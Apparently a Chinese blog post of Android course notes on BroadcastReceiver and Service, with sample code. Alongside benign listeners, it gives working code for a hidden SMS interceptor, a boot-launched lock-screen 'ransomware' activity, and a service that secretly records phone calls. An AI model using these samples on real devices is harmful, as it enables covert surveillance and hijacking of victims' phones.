<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  
  
  <title>Android基础--广播 BroadcastReceiver | 不忘初心</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="导语  07 广播 BroadcastReceiver 介绍">
<meta property="og:type" content="article">
<meta property="og:title" content="Android基础--广播 BroadcastReceiver">
<meta property="og:url" content="http://example.com/2014/10/13/%E5%9F%BA%E7%A1%80/%E5%9F%BA%E7%A1%80--%E5%B9%BF%E6%92%AD%20BroadcastReceiver/index.html">
<meta property="og:site_name" content="不忘初心">
<meta property="og:description" content="导语  07 广播 BroadcastReceiver 介绍">
<meta property="og:locale" content="en_US">
<meta property="article:published_time" content="2014-10-13T01:45:06.000Z">
<meta property="article:modified_time" content="2017-07-10T06:58:04.000Z">
<meta property="article:author" content="wxyass">
<meta property="article:tag" content="Android基础">
<meta name="twitter:card" content="summary">
  
    <link rel="alternate" href="/atom.xml" title="不忘初心" type="application/atom+xml">
  
  
    <link rel="shortcut icon" href="/favicon.png">
  
  
    
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/typeface-source-code-pro@0.0.71/index.min.css">

  
  
<link rel="stylesheet" href="/css/style.css">

  
    
<link rel="stylesheet" href="/fancybox/jquery.fancybox.min.css">

  
<meta name="generator" content="Hexo 5.4.0"></head>

<body>
  <div id="container">
    <div id="wrap">
      <header id="header">
  <div id="banner"></div>
  <div id="header-outer" class="outer">
    <div id="header-title" class="inner">
      <h1 id="logo-wrap">
        <a href="/" id="logo">不忘初心</a>
      </h1>
      
    </div>
    <div id="header-inner" class="inner">
      <nav id="main-nav">
        <a id="main-nav-toggle" class="nav-icon"></a>
        
          <a class="main-nav-link" href="/">Home</a>
        
          <a class="main-nav-link" href="/archives">Archives</a>
        
      </nav>
      <nav id="sub-nav">
        
          <a id="nav-rss-link" class="nav-icon" href="/atom.xml" title="RSS Feed"></a>
        
        <a id="nav-search-btn" class="nav-icon" title="Search"></a>
      </nav>
      <div id="search-form-wrap">
        <form action="//google.com/search" method="get" accept-charset="UTF-8" class="search-form"><input type="search" name="q" class="search-form-input" placeholder="Search"><button type="submit" class="search-form-submit">&#xF002;</button><input type="hidden" name="sitesearch" value="http://example.com"></form>
      </div>
    </div>
  </div>
</header>

      <div class="outer">
        <section id="main"><article id="post-基础/基础--广播 BroadcastReceiver" class="h-entry article article-type-post" itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">
  <div class="article-meta">
    <a href="/2014/10/13/%E5%9F%BA%E7%A1%80/%E5%9F%BA%E7%A1%80--%E5%B9%BF%E6%92%AD%20BroadcastReceiver/" class="article-date">
  <time class="dt-published" datetime="2014-10-13T01:45:06.000Z" itemprop="datePublished">2014-10-13</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/Android%E5%9F%BA%E7%A1%80/">Android基础</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 class="p-name article-title" itemprop="headline name">
      Android基础--广播 BroadcastReceiver
    </h1>
  

      </header>
    
    <div class="e-content article-entry" itemprop="articleBody">
      
        <h4 id="导语"><a href="#导语" class="headerlink" title="导语"></a>导语</h4><blockquote>
<p> 07 广播 BroadcastReceiver 介绍  </p>
</blockquote>
<span id="more"></span> 

<h1 id="广播"><a href="#广播" class="headerlink" title="广播"></a>广播</h1><ul>
<li>广播的概念<ul>
<li>现实：电台通过发送广播发布消息，买个收音机，就能收听<ul>
<li>电台基站（官方，非官方）  –&gt;广播信号</li>
<li>收音机                  –&gt;接受信号</li>
</ul>
</li>
<li>Android：系统在产生某个事件时发送广播，应用程序使用广播接收者接收这个广播，就知道系统产生了什么事件。</li>
</ul>
</li>
</ul>
<p>##android下广播机制设计的目的</p>
<ul>
<li><p>手机里面Android系统在运行的过程中会有很多事件。</p>
<ul>
<li>手机电量不足</li>
<li>手机开机</li>
<li>有人给你发送了短信</li>
<li>你向外拨打了电话</li>
<li>手机启动完毕</li>
<li>屏幕解锁</li>
</ul>
</li>
<li><p>google的android系统把常用的事件，做成了广播机制。一旦事件产生了，就向全系统发送一个广播消息。应用程序使用广播接收者接收这个广播，就知道系统产生了什么事件。</p>
</li>
</ul>
<p>####如何使用内置的广播接受者<br>####(创建类似于Activity,四大组件都如此,先.继承一个类 后.配置一个清单)</p>
<ol>
<li><p>创建一个类继承 BroadcastReceiver （类似买了收音机）</p>
</li>
<li><p>在清单中配置广播接受者（装上电池，配好频道）</p>
<pre><code> &lt;receiver android:name=&quot;com.itheima.ipdail.IpDailBroadcastReceiver&quot;&gt;
     &lt;intent-filter &gt;
         &lt;action android:name=&quot;android.intent.action.NEW_OUTGOING_CALL&quot;/&gt;
     &lt;/intent-filter&gt;
 &lt;/receiver&gt;
</code></pre>
</li>
<li><p>特殊的广播接受者，需要添加权限(如：开机自启动权限)。</p>
</li>
<li><p>重写BroadcastReceiver类的onReceive(Context context, Intent intent)方法。</p>
</li>
<li><p>通过intent拿到数据，并可以进行修改</p>
<p> public class CallReceiver extends BroadcastReceiver{</p>
<pre><code> //当收到广播时，此方法调用
 @Override
 public void onReceive(Context context, Intent intent) &#123;
     //添加ip线路
     //1.拿到用户拨打的号码，修改号码添加ip线路
     String number = getResultData();
     number = &quot;17951&quot; + number;
     
     //2.把新号码设置进广播中
     setResultData(number);
     
     //此代码无效，因为打电话应用的广播接收者是最终接收者
     //abortBroadcast();//阻止其他广播接收者接收这条广播，可以理解为拦截广播
 &#125;
</code></pre>
<p> }</p>
</li>
</ol>
<hr>
<p>#广播接收者</p>
<ul>
<li>广播发出时，会先自己定义意图过滤器action和数据data(有时只定义意图过滤器action),发出广播后，被广播接收者接收。</li>
<li>当一条广播被发送出来时，系统会在所有清单文件中遍历(遍历所有，哪怕找到了，也还要继续遍历，直到把所有清单文件遍历一遍)，通过匹配意图过滤器找到能接收这条广播的广播接收者</li>
<li>广播接收者一旦接收到了广播，就开始执行广播接受者里面的代码，若没有接收到匹配的广播，代码就不会执行</li>
</ul>
<p>###一些常量</p>
<pre><code>android.intent.action.NEW_OUTGOING_CALL:外拨电话
android.intent.action.PACKAGEADDED：应用被安装
android.intent.action.PACKAGEREMOVED：应用被移除
android.intent.action.PACKAGE_REPLACED：应用被替换
android.intent.action.MEDIAMOUNTED：sd卡被装载了
android.intent.action.MEDIAREMOVED：sd卡被移除了
android.intent.action.MEDIA_UNMOUNTED：sd卡未挂载
android.intent.action.BOOTCOMPLETED：一旦设备完成启动时触发。需要RECEIVE_BOOT_COMPLETED权限。
Mount：安装，登上
Boot：引导程序，启动，引导
</code></pre>
<p>##不同android版本的安全升级</p>
<ul>
<li><p>2.3以及2.3一下的版本，任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。</p>
</li>
<li><p>4.0以及4.0以上的版本，要求应用程序必须有ui界面（activity） 广播接受者才能生效，如果用户点击了强行停止，应用程序就完全关闭了，广播接受者就失效了。如果用户没有点击过强行停止，即使应用程序进程不存在，也会自动的运行起来。</p>
</li>
</ul>
<hr>
<p>#IP拨号器</p>
<blockquote>
<p>原理：接收拨打电话的广播，修改广播内携带的电话号码</p>
</blockquote>
<ul>
<li><p>定义广播接收者接收打电话广播</p>
<p>  public class CallReceiver extends BroadcastReceiver {</p>
<pre><code>  //当广播接收者接收到广播时，此方法会调用
  @Override
  public void onReceive(Context context, Intent intent) &#123;
      //拿到用户拨打的号码
      String number = getResultData();
      //修改广播内的号码，//同时把新号码设置进广播中
      setResultData(&quot;17951&quot; + number);
  &#125;
</code></pre>
<p>  }</p>
</li>
<li><p>在清单文件中定义该广播接收者接收的广播类型</p>
<pre><code>  &lt;receiver android:name=&quot;com.itheima.ipdialer.CallReceiver&quot;&gt;
      &lt;intent-filter &gt;
          &lt;action android:name=&quot;android.intent.action.NEW_OUTGOING_CALL&quot;/&gt;
      &lt;/intent-filter&gt;
  &lt;/receiver&gt;
</code></pre>
</li>
<li><p>接收打电话广播需要权限</p>
<pre><code>  &lt;uses-permission android:name=&quot;android.permission.PROCESS_OUTGOING_CALLS&quot;/&gt;
</code></pre>
</li>
<li><p>即使广播接收者的进程没有启动，当系统发送的广播可以被该接收者接收时，系统会自动启动该接收者所在的进程</p>
</li>
</ul>
<hr>
<p>#短信拦截器</p>
<blockquote>
<p>系统收到短信时会产生一条广播，广播中包含了短信的号码和内容</p>
</blockquote>
<ul>
<li><p>1.定义广播接收者接收短信广播</p>
<pre><code>  public class SmsReceiver extends BroadcastReceiver &#123;

      //intent:此对象就是广播中包含的那个intent
      @Override
      public void onReceive(Context context, Intent intent) &#123;
          //从广播中取出短信的内容
          Bundle bundle = intent.getExtras();
          //数组中的每个元素，就是一条短信
          Object[] objects = (Object[]) bundle.get(&quot;pdus&quot;);
          
          for (Object object : objects) &#123;
              //把object转换成短信对象
              SmsMessage sms = SmsMessage.createFromPdu((byte[])object);
              //获取短信发送者的号码
              String address = sms.getOriginatingAddress();
              //获取短信的内容
              String body = sms.getMessageBody();
              
              if(address.equals(&quot;138438&quot;))&#123;
                  //阻止其他广播接收者接收这条广播，可以理解为拦截广播
                  abortBroadcast();
              &#125;
              System.out.println(address + &quot;:&quot; + body);
          &#125;
      &#125;
  &#125;
</code></pre>
</li>
<li><p>要理解：系统创建广播时，把短信存放到一个数组，然后把数据以pdus为key存入bundle，再把bundle存入intent</p>
</li>
<li><p>2.清单文件中配置广播接收者接收的广播类型，注意要设置优先级属性，要保证优先级高于短信应用，才可以实现拦截</p>
<pre><code>  &lt;receiver android:name=&quot;com.itheima.smslistener.SmsReceiver&quot;&gt;
      &lt;intent-filter android:priority=&quot;1000&quot;&gt;
          &lt;action android:name=&quot;android.provider.Telephony.SMS_RECEIVED&quot;/&gt;
      &lt;/intent-filter&gt;
  &lt;/receiver&gt;
</code></pre>
</li>
<li><p>3.添加权限</p>
<pre><code>  &lt;uses-permission android:name=&quot;android.permission.RECEIVE_SMS&quot;/&gt;
</code></pre>
</li>
<li><p>4.0之后，广播接收者所在的应用必须启动过一次，才能生效，第一次部署进手机时，要保留activity入口，让该应用执行一次，短信拦截器就运行在手机里，之后删除activity入口(就是删除快捷图标)这视为更新，神不知鬼不觉，拦截器就运行在手机里了。</p>
</li>
<li><p>4.0之后，如果广播接收者所在应用被用户手动关闭了，那么再也不会启动了，直到用户再次手动启动该应用</p>
</li>
</ul>
<hr>
<p>#监听SD卡状态</p>
<ul>
<li>清单文件中定义广播接收者接收的类型，监听SD卡常见的三种状态，所以广播接收者需要接收三种广播<pre><code>  &lt;receiver android:name=&quot;com.itheima.listensd.SDStatusReceiver&quot;&gt;
      &lt;intent-filter &gt;
          &lt;action android:name=&quot;android.intent.action.MEDIA_MOUNTED&quot;/&gt;
          &lt;action android:name=&quot;android.intent.action.MEDIA_UNMOUNTED&quot;/&gt;
          &lt;action android:name=&quot;android.intent.action.MEDIA_REMOVED&quot;/&gt;
          &lt;data android:scheme=&quot;file&quot;/&gt;
      &lt;/intent-filter&gt;
  &lt;/receiver&gt;
</code></pre>
</li>
<li>广播接收者的定义    <pre><code> /**
   * 此广播接收者用于监听SD卡状态
   * 吐司提示SD卡的状态
   * @author Administrator
   *
   */
  public class SDStatusReceiver extends BroadcastReceiver &#123;
  
      @Override
      public void onReceive(Context context, Intent intent) &#123;
  
          //判断收到的是什么广播
          String action = intent.getAction();
          
          if (intent.ACTION_MEDIA_MOUNTED.equals(action)) &#123;
              Toast.makeText(context, &quot;SD卡可用&quot;, 0).show();
          &#125; else if(intent.ACTION_MEDIA_UNMOUNTED.equals(action))&#123;
              Toast.makeText(context, &quot;SD卡不可用&quot;, 0).show();
          &#125;else if(intent.ACTION_MEDIA_REMOVED.equals(action))&#123;
              Toast.makeText(context, &quot;SD卡被移除&quot;, 0).show();
          &#125;
  
      &#125;
  
  &#125;
</code></pre>
</li>
</ul>
<hr>
<p>#勒索软件</p>
<ul>
<li>1.定义广播接收者<pre><code>  /**
   * 此广播接收器用于开机启动勒索软件
   * @author Administrator
   *
   */
  public class BootReceiver extends BroadcastReceiver &#123;
  
      @Override
      public void onReceive(Context context, Intent intent) &#123;
          
          //创建意图对象,准备开启新的Activity
          Intent it = new Intent(context,MainActivity.class);
          //创建新的任务栈，存启动的Activity
          it.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
          //启动Activity
          context.startActivity(it);
      &#125;
  &#125;
</code></pre>
</li>
<li>2.清单文件中配置接收开机广播<pre><code>  &lt;receiver android:name=&quot;com.itheima.lesuo.BootReceiver&quot;&gt;
      &lt;intent-filter &gt;
          &lt;action android:name=&quot;android.intent.action.BOOT_COMPLETED&quot;/&gt;
      &lt;/intent-filter&gt;
  &lt;/receiver&gt;
</code></pre>
</li>
<li>3.权限    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></li>
<li>4.接收开机广播，在广播接收者中启动该勒索Activity，另外设置返回键失效<pre><code>  public class MainActivity extends Activity &#123;

      @Override
      protected void onCreate(Bundle savedInstanceState) &#123;
          super.onCreate(savedInstanceState);
          setContentView(R.layout.activity_main);
      &#125;
  
      @Override
      public boolean onCreateOptionsMenu(Menu menu) &#123;
          // Inflate the menu; this adds items to the action bar if it is present.
          getMenuInflater().inflate(R.menu.main, menu);
          return true;
      &#125;
  
      @Override
      public void onBackPressed() &#123;
          //注掉调用父类方法：此Activity返回键失效
          //super.onBackPressed();
      &#125;
  &#125;
</code></pre>
</li>
</ul>
<ul>
<li><p>注意：</p>
</li>
<li><p>因为广播接收者的启动，并不会创建任务栈，而在广播接收者中需要启动Activity，那么没有任务栈，就无法启动activity</p>
</li>
<li><p>手动设置创建新任务栈的flag</p>
<pre><code>  it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
</code></pre>
</li>
</ul>
<hr>
<p>#监听应用的安装、卸载、更新</p>
<blockquote>
<p>原理：应用在安装卸载更新时，系统会发送广播，广播里会携带应用的包名</p>
</blockquote>
<ul>
<li><p>清单文件定义广播接收者接收的类型，因为要监听应用的三个动作，所以需要接收三种广播</p>
<pre><code> &lt;receiver android:name=&quot;com.itheima.app.AppReceiver&quot;&gt;
      &lt;intent-filter &gt;
          &lt;action android:name=&quot;android.intent.action.PACKAGE_ADDED&quot;/&gt;
          &lt;action android:name=&quot;android.intent.action.PACKAGE_REPLACED&quot;/&gt;
          &lt;action android:name=&quot;android.intent.action.PACKAGE_REMOVED&quot;/&gt;
          &lt;data android:scheme=&quot;package&quot;/&gt;
      &lt;/intent-filter&gt;
  &lt;/receiver&gt;
</code></pre>
</li>
<li><p>广播接收者的定义</p>
<pre><code>  /**
   * 此广播接收者用于监听应用安装卸载
   * @author Administrator
   *
   */
  public class AppReceiver extends BroadcastReceiver &#123;
  
      @Override
      public void onReceive(Context context, Intent intent) &#123;
  
          String action = intent.getAction();
      
          Uri uri = intent.getData();
          
          if (intent.ACTION_PACKAGE_ADDED.equals(action)) &#123;
              Toast.makeText(context, uri+&quot;安装了&quot;, 0).show();
          &#125;else if(intent.ACTION_PACKAGE_REMOVED.equals(action))&#123;
              Toast.makeText(context, uri+&quot;卸载了&quot;, 0).show();
          &#125;else if(intent.ACTION_PACKAGE_REPLACED.equals(action))&#123;
              Toast.makeText(context, uri+&quot;更新了&quot;, 0).show();
          &#125;
      &#125;
  &#125;
</code></pre>
</li>
</ul>
<hr>
<p>#广播的两种类型</p>
<ul>
<li><p>无序广播：所有跟广播的intent匹配的广播接收者都可以收到该广播，并且是没有先后顺序（同时收到）</p>
<pre><code>  //发出无序广播:
  public void click(View v)&#123;
      //发送自定义广播
      //1.定义意图对象
      Intent intent = new Intent();
      //2.设置action
      intent.setAction(&quot;com.itheima.a1&quot;);
      //3.发送广播
      sendBroadcast(intent);
  &#125;
</code></pre>
</li>
<li><p>有序广播：所有跟广播的intent匹配的广播接收者都可以收到该广播，但是会按照广播接收者的优先级来决定接收的先后顺序</p>
<ul>
<li>sendOrderedBroadcast();<ul>
<li>参数1：intent</li>
<li>参数2： String receiverPermission 应该是权限</li>
<li>参数3：最终接收者</li>
<li>参数4：Handler消息处理器</li>
<li>参数5：int数据</li>
<li>参数6：String数据</li>
<li>参数7：Bundles数据对象<pre><code> public void fdm(View v)&#123;
      //发送有序广播
      Intent intent = new Intent();
      intent.setAction(&quot;com.itheima.fdm&quot;);
      
      //发送有序广播
      //resultReceiver:最终接收者，此广播接收者会在最后一个收到广播，并且一定会收到
      sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, &quot;每人发100斤大米&quot;, null);
  &#125;
</code></pre>
</li>
</ul>
</li>
</ul>
<ul>
<li><p>优先级的定义：</p>
<ul>
<li>-1000~1000</li>
</ul>
</li>
<li><p>最终接收者：所有广播接收者都接收到广播之后，它才接收，并且一定会接收</p>
<p>   public class MainActivity extends Activity {</p>
<pre><code>      @Override
      protected void onCreate(Bundle savedInstanceState) &#123;
          super.onCreate(savedInstanceState);
          setContentView(R.layout.activity_main);
      &#125;
  
  
      public void fdm(View v)&#123;
          //发送有序广播
          Intent intent = new Intent();
          intent.setAction(&quot;com.itheima.fdm&quot;);
          
          //发送有序广播
          //resultReceiver:最终接收者，此广播接收者会在最后一个收到广播，并且一定会收到
          sendOrderedBroadcast(intent, null, new MyReceiver(), null, 0, &quot;每人发100斤大米&quot;, null);
      &#125;
      
      //定义最终接收者
      class MyReceiver extends BroadcastReceiver&#123;
  
          @Override
          public void onReceive(Context context, Intent intent) &#123;
              String order = getResultData();
              System.out.println(&quot;反贪局收到文件&quot; + order);
              
          &#125;
          
      &#125;
  &#125;
</code></pre>
</li>
<li><p>abortBroadcast();:阻止其他接收者接收这条广播，类似拦截，只有有序广播可以被拦截</p>
</li>
</ul>
</li>
</ul>
<p>##android应用程序的四大组件：</p>
<ul>
<li>activity 界面</li>
<li>content provider 内容提供者 暴露应用程序私有的数据</li>
<li>broadcast receiver 接受广播消息</li>
<li>service 后台的服务<blockquote>
<p>四大组件都要在清单文件配置，特殊广播接受者（代码，清单文件）</p>
</blockquote>
</li>
</ul>
<hr>
<p>#二、Service</p>
<ul>
<li>一个组件长期后台运行，没有界面。</li>
<li>就是默默运行在后台的组件，可以理解为是没有前台的activity，适合用来运行不需要前台界面的代码</li>
<li>服务可以被手动关闭，不会重启，但是如果被自动关闭，内存充足就会重启</li>
<li>startService启动服务的生命周期<ul>
<li>onCreate()–&gt;onStartCommand()–&gt;onDestroy()</li>
</ul>
</li>
<li>重复的调用startService会导致onStartCommand被重复调用</li>
</ul>
<p>####如何创建一个服务(创建类似于Activity,四大组件都如此,1.继承一个 2.配置一个)</p>
<ol>
<li><p>创建一个类继承Service </p>
</li>
<li><p>配置服务清单</p>
<pre><code> &lt;service android:name=&quot;com.itheima.service.MyService&quot;&gt;&lt;/service&gt;
</code></pre>
</li>
<li><p>特殊的服务，需要添加权限。</p>
</li>
<li><p>重写类的onBind(Intent intent)方法。</p>
<ul>
<li>及onCreate()方法–&gt;onStartCommand()方法–&gt;onDestroy()方法</li>
</ul>
</li>
<li><p>通过主页面通过intent开启关闭服务</p>
<pre><code> public class MainActivity extends Activity &#123;

     @Override
     protected void onCreate(Bundle savedInstanceState) &#123;
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
     &#125;
     //点击事件：开启MyService服务
     public void click1(View v)&#123;
         //1.创建意图
         Intent intent = new Intent(this,MyService.class);
         //2.启动服务
         startService(intent);
     &#125;
     //点击事件：停止MyService服务
     public void click2(View v)&#123;
         //1.创建意图
         Intent intent = new Intent(this,MyService.class);
         //2.停止服务
         stopService(intent);
         
     &#125;
 &#125;
</code></pre>
</li>
</ol>
<hr>
<h1 id="进程优先级"><a href="#进程优先级" class="headerlink" title="进程优先级"></a>进程优先级</h1><ol>
<li>前台进程：拥有一个正在与用户交互的activity（onResume方法被调用）的进程</li>
<li>可见进程：拥有一个非前台，但是对用户可见的activity（onPause方法被调用）的进程</li>
<li>服务进程：拥有一个通过startService方法启动的服务的进程</li>
<li>后台进程：拥有一个后台activity（onStop方法被调用）的进程</li>
<li>空进程：没有拥有任何活动的应用组件的进程，也就是没有任何服务和activity在运行</li>
</ol>
<hr>
<p>#电话窃听器<br>##音频捕获</p>
<ul>
<li>首先需要一个手机电话管理的服务 TelephonyManager</li>
</ul>
<ol>
<li>创建 android.media.MediaRecorder.<pre><code> mediaRecorder= new MediaRecorder();
</code></pre>
</li>
<li>设置音频源<pre><code> mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置音频源来自麦克风，只能录自己麦克风单方面的话
 
 (MediaRecorder.AudioSource.VOICE_CALL)//录双方通话，但是只有部分国产手机支持。
</code></pre>
</li>
<li>设置音频文件的编码格式<pre><code> mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
</code></pre>
</li>
<li>设置保存文件的路径<pre><code> mediaRecorder.setOutputFile(&quot;/sdcard/temp.mp4&quot;);
</code></pre>
</li>
<li>设置音频的编码方式<pre><code> mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
</code></pre>
</li>
<li>准备开始录音<pre><code> mediaRecorder.prepare() ;
</code></pre>
</li>
<li>开始录音<pre><code> start()；
</code></pre>
</li>
<li>停止录音<pre><code> stop();
</code></pre>
</li>
<li>释放资源<pre><code> release();
</code></pre>
</li>
</ol>
<ul>
<li><p>另外：录音使用下面的两个权限</p>
<pre><code>  &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;
  &lt;uses-permission android:name=&quot;android.permission.RECORD_AUDIO&quot;/&gt;
</code></pre>
</li>
</ul>
<p>##电话窃听器</p>
<ul>
<li><p>电话状态：空闲、响铃、接听</p>
</li>
<li><p>1.获取电话管理器，设置侦听</p>
<ul>
<li>设置侦听有两个参数</li>
<li>参数1:手机状态监听器，需继承PhoneStateListener类，重写里面的方法，实现对手机状态的监听，里面有许多方法</li>
<li>参数2：设置监听器只监听什么数据，无论你在手机状态监听器中重写了多少个方法，通过参数2，监听器只监听所设置的参数对应的数据，通过监听数据的变化，去调用不同的方法<pre><code>  @Override
  public void onCreate() &#123;
      super.onCreate();
      //获取电话管理器
      TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
      //设置侦听
      //arg0:手机状态监听器
      //arg1:设置监听器只监听什么数据
      tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
  &#125;
</code></pre>
</li>
</ul>
</li>
<li><p>2.侦听对象的实现</p>
<pre><code>  private MediaRecorder recorder;
  class Mylistener extends PhoneStateListener&#123;


      //电话状态改变时，此方法调用
      @Override
      public void onCallStateChanged(int state, String incomingNumber) &#123;
          // TODO Auto-generated method stub
          super.onCallStateChanged(state, incomingNumber);
          switch (state) &#123;
          case TelephonyManager.CALL_STATE_IDLE://空闲
              if(recorder != null)&#123;
                  recorder.stop();
                  //释放占用的资源
                  recorder.release();
                  recorder = null;
              &#125;
              break;
          case TelephonyManager.CALL_STATE_RINGING://响铃
              if(recorder == null)&#123;
                  recorder = new MediaRecorder();
                  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                  recorder.setOutputFile(&quot;sdcard/voice.3gp&quot;);
                  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                  try &#123;
                      //准备完毕后，随时可以录音
                      recorder.prepare();
                  &#125; catch (Exception e) &#123;
                      // TODO Auto-generated catch block
                      e.printStackTrace();
                  &#125;
              &#125;
              break;
          case TelephonyManager.CALL_STATE_OFFHOOK://摘机
              if(recorder != null)&#123;
                  recorder.start();
              &#125;
              break;

          &#125;
      &#125;
      
  &#125;
</code></pre>
</li>
<li><p>3.添加权限，</p>
<ul>
<li>读取用户手机状态权限</li>
<li>写入SD卡权限</li>
<li>开机自启动权限</li>
<li>记录音频权限<pre><code>  &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&gt;
  &lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot;/&gt;
  &lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot;/&gt;
  &lt;uses-permission android:name=&quot;android.permission.RECORD_AUDIO&quot;/&gt;
</code></pre>
</li>
</ul>
</li>
</ul>
<p>–电话窃听器示例：—-</p>
<pre><code>/**
 * 此RecorderService服务：用于监听手机状态改变,实现电话窃听器功能
 * 1、获取电话管理器，并对手机设置监听
 * 2、定义一个手机监听器，实现电话窃听器功能
 * 
 * @author Administrator
 *
 */
public class RecorderService extends Service &#123;

    @Override
    public IBinder onBind(Intent intent) &#123;
        // TODO Auto-generated method stub
        return null;
    &#125;

    @Override
    public void onCreate() &#123;
        // TODO Auto-generated method stub
        super.onCreate();
        //获取电话管理器
        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
        //设置侦听
        //arg1:设置监听器只监听什么数据
        tm.listen(new Mylistener(), PhoneStateListener.LISTEN_CALL_STATE);
    &#125;
    
    //定义多媒体录音对象
    private MediaRecorder recorder;
    class Mylistener extends PhoneStateListener&#123;

        //电话状态改变时，此方法调用
        @Override
        public void onCallStateChanged(int state, String incomingNumber) &#123;
            // TODO Auto-generated method stub
            super.onCallStateChanged(state, incomingNumber);
            switch (state) &#123;
            case TelephonyManager.CALL_STATE_IDLE://空闲
                if(recorder != null)&#123;
                    //停止录音
                    recorder.stop();
                    //释放占用的资源
                    recorder.release();
                    recorder = null;
                &#125;
                break;
            case TelephonyManager.CALL_STATE_RINGING://响铃
                if(recorder == null)&#123;
                    //获取多媒体录音对象
                    recorder = new MediaRecorder();
                    //设置音频源,MIC只能设置音频源来自麦克风，只能录自己麦克风单方面的话
                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //设置音频文件的编码格式
                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                    //设置保存文件的路径
                    recorder.setOutputFile(&quot;sdcard/voice.3gp&quot;);
                    //设置音频的编码方式
                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    try &#123;
                        //准备完毕后，随时可以录音,准备开始录音了
                        recorder.prepare();
                    &#125; catch (Exception e) &#123;
                        e.printStackTrace();
                    &#125;
                &#125;
                break;
            case TelephonyManager.CALL_STATE_OFFHOOK://摘机
                if(recorder != null)&#123;
                    //开始录音
                    recorder.start();
                &#125;
                break;

            &#125;
        &#125;
        
    &#125;
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) &#123;
        // TODO Auto-generated method stub
        return super.onStartCommand(intent, flags, startId);
    &#125;
&#125;
</code></pre>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://example.com/2014/10/13/%E5%9F%BA%E7%A1%80/%E5%9F%BA%E7%A1%80--%E5%B9%BF%E6%92%AD%20BroadcastReceiver/" data-id="ckvc340qu006c5dfy6hta7n22" data-title="Android基础--广播 BroadcastReceiver" class="article-share-link">Share</a>
      
      
      
  <ul class="article-tag-list" itemprop="keywords"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/Android%E5%9F%BA%E7%A1%80/" rel="tag">Android基础</a></li></ul>

    </footer>
  </div>
  
    
<nav id="article-nav">
  
    <a href="/2014/10/13/%E5%9F%BA%E7%A1%80/%E5%9F%BA%E7%A1%80--%E6%9C%8D%E5%8A%A1%20Service/" id="article-nav-newer" class="article-nav-link-wrap">
      <strong class="article-nav-caption">Newer</strong>
      <div class="article-nav-title">
        
          Android基础--服务 Service
        
      </div>
    </a>
  
  
    <a href="/2014/10/13/%E5%9F%BA%E7%A1%80/%E5%9F%BA%E7%A1%80--Activity&%E9%A1%B5%E9%9D%A2%E8%B7%B3%E8%BD%AC&%E6%95%B0%E6%8D%AE%E4%BC%A0%E9%80%92/" id="article-nav-older" class="article-nav-link-wrap">
      <strong class="article-nav-caption">Older</strong>
      <div class="article-nav-title">Android基础--Activity&amp;页面跳转&amp;数据传递</div>
    </a>
  
</nav>

  
</article>


</section>
        
          <aside id="sidebar">
  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Categories</h3>
    <div class="widget">
      <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/Activity/">Activity</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Android-Studio%E4%BB%8B%E7%BB%8D/">Android Studio介绍</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Android%E5%9F%BA%E7%A1%80/">Android基础</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Android%E6%A8%A1%E6%9D%BF/">Android模板</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/BaseRecyclerViewAdapterHelper/">BaseRecyclerViewAdapterHelper</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Bug%E9%97%AE%E9%A2%98/">Bug问题</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Button/">Button</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/EditText/">EditText</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Fragment/">Fragment</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/Gradle/">Gradle</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/ListView/">ListView</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/MD%E8%AF%AD%E6%B3%95/">MD语法</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/MyEclipse/">MyEclipse</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/OSS/">OSS</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/RecyclerView/">RecyclerView</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/SQL%E5%9F%BA%E7%A1%80/">SQL基础</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/UI%E6%8E%A7%E4%BB%B6/">UI控件</a></li><li class="category-list-item"><a 